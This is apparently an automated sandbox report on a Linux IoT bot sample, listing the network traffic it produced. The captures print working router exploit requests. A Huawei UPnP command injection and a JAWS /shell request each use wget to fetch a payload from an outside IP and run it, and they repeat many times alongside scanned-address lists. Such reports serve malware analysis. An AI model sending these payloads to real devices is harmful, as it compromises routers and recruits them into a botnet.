Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/sh4.elf (PID: 5482)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 88.1.244.236
Source: unknown	TCP traffic detected without corresponding DNS query: 38.95.229.27
Source: unknown	TCP traffic detected without corresponding DNS query: 195.12.82.65
Source: unknown	TCP traffic detected without corresponding DNS query: 152.130.184.112
Source: unknown	TCP traffic detected without corresponding DNS query: 146.246.97.147
Source: unknown	TCP traffic detected without corresponding DNS query: 169.230.214.202
Source: unknown	TCP traffic detected without corresponding DNS query: 62.127.238.207
Source: unknown	TCP traffic detected without corresponding DNS query: 111.124.134.147
Source: unknown	TCP traffic detected without corresponding DNS query: 183.133.218.53
Source: unknown	TCP traffic detected without corresponding DNS query: 153.239.148.152
Source: unknown	TCP traffic detected without corresponding DNS query: 142.204.29.122
Source: unknown	TCP traffic detected without corresponding DNS query: 91.95.42.207
Source: unknown	TCP traffic detected without corresponding DNS query: 124.91.80.190
Source: unknown	TCP traffic detected without corresponding DNS query: 116.72.17.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.168.68.119
Source: unknown	TCP traffic detected without corresponding DNS query: 93.62.255.42
Source: unknown	TCP traffic detected without corresponding DNS query: 106.220.223.130
Source: unknown	TCP traffic detected without corresponding DNS query: 191.131.165.43
Source: unknown	TCP traffic detected without corresponding DNS query: 216.171.242.91
Source: unknown	TCP traffic detected without corresponding DNS query: 117.232.217.238
Source: unknown	TCP traffic detected without corresponding DNS query: 170.83.21.69
Source: unknown	TCP traffic detected without corresponding DNS query: 142.4.6.117
Source: unknown	TCP traffic detected without corresponding DNS query: 145.138.75.228
Source: unknown	TCP traffic detected without corresponding DNS query: 144.205.131.206
Source: unknown	TCP traffic detected without corresponding DNS query: 222.27.97.29
Source: unknown	TCP traffic detected without corresponding DNS query: 172.197.116.177
Source: unknown	TCP traffic detected without corresponding DNS query: 64.89.201.49
Source: unknown	TCP traffic detected without corresponding DNS query: 202.204.33.118
Source: unknown	TCP traffic detected without corresponding DNS query: 92.168.196.91
Source: unknown	TCP traffic detected without corresponding DNS query: 186.180.107.59
Source: unknown	TCP traffic detected without corresponding DNS query: 125.131.122.4
Source: unknown	TCP traffic detected without corresponding DNS query: 131.130.141.24
Source: unknown	TCP traffic detected without corresponding DNS query: 186.166.60.155
Source: unknown	TCP traffic detected without corresponding DNS query: 173.153.246.57
Source: unknown	TCP traffic detected without corresponding DNS query: 126.59.182.188
Source: unknown	TCP traffic detected without corresponding DNS query: 204.34.41.59
Source: unknown	TCP traffic detected without corresponding DNS query: 78.199.132.226
Source: unknown	TCP traffic detected without corresponding DNS query: 150.128.241.217
Source: unknown	TCP traffic detected without corresponding DNS query: 124.125.217.192
Source: unknown	TCP traffic detected without corresponding DNS query: 142.82.141.39
Source: unknown	TCP traffic detected without corresponding DNS query: 135.158.40.44
Source: unknown	TCP traffic detected without corresponding DNS query: 105.78.41.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.90.64.95
Source: unknown	TCP traffic detected without corresponding DNS query: 104.205.13.56
Source: unknown	TCP traffic detected without corresponding DNS query: 51.248.95.215
Source: unknown	TCP traffic detected without corresponding DNS query: 99.224.130.56
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.67.99
Source: unknown	TCP traffic detected without corresponding DNS query: 14.185.187.172
Source: unknown	TCP traffic detected without corresponding DNS query: 47.125.46.175
Source: unknown	TCP traffic detected without corresponding DNS query: 192.56.147.243

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
